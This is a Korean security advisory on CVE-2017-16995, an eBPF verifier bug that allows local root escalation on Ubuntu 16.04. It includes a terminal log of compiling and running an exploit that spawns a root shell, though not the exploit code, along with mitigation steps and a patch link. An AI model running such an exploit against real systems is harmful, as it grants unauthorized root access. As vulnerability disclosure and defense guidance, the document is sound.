
Ubuntu는 데스크톱 애플리케이션 중심의 오픈소스 GNU/Linux 운영체제로, Debian GNU/Linux 기반입니다. 최근 화이트햇 해커가 Ubuntu 최신 버전(Ubuntu 16.04)에 로컬 권한 상승 취약점이 존재한다고 공개했습니다. 취약점 번호는 CVE-2017-16995입니다. 이 취약점은 eBPF bpf(2)를 호출하는 Linux 커널 시스템에 존재하며, 사용자가 악성 BPF 프로그램을 제공하여 eBPF 검증기 모듈에 계산 오류를 발생시키면 임의 메모리 읽기/쓰기 문제가 발생합니다. 낮은 권한의 사용자가 이 취약점을 이용하여 관리자 권한을 얻을 수 있습니다. 이 취약점은 이전 버전에서는 이미 수정되었지만, 최신 버전에서는 여전히 악용 가능하며 공식 패치는 아직 발표되지 않아 0day 상태입니다.
Linux Kernel Version 4.14-4.4 Ubuntu/Debian 배포판에만 영향을 미칩니다.
고위험
bearcat@ubuntu:/opt$ lsb_release -a
<br>No LSB modules are available.
<br>Distributor ID: Ubuntu
<br>Description: Ubuntu 16.04.4 LTS
<br>Release: 16.04
<br>Codename: xenial
<br>bearcat@ubuntu:/opt$ uname -a
<br>Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
<br>bearcat@ubuntu:/opt$ id
<br>uid=1000(bearcat) gid=1000(bearcat) <br>groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
<br>bearcat@ubuntu:/opt$ ls
<br>exploit.c
<br>bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
<br>bearcat@ubuntu:/opt$ ./exploit
<br>task_struct = ffff88003a0db800
<br>uidptr = ffff8800374b76c4
<br>spawning root shell
<br>root@ubuntu:/opt# id
<br>uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
<br>root@ubuntu:/opt#
현재 명확한 패치 업그레이드 방안은 제시되지 않았지만, 커널 매개변수를 수정하여 일반 사용자가 bpf(2) 시스템 호출을 사용하지 못하도록 제한할 것을 권장합니다.
“kernel.unprivileged_bpf_disabled = 1” 매개변수를 설정하면 bpf(2) 호출에 대한 접근을 제한하여 이러한 권한 상승을 방지할 수 있습니다.
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
Linux Kernel 버전을 업그레이드해야 하며, 서버를 재시작한 후에 적용됩니다.
이 단계는 환경 구축 과정에서 이미 구체적인 작업이 설명되었으므로, 사용자는 커널 버전만 변경하면 됩니다!
코드 패치 https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f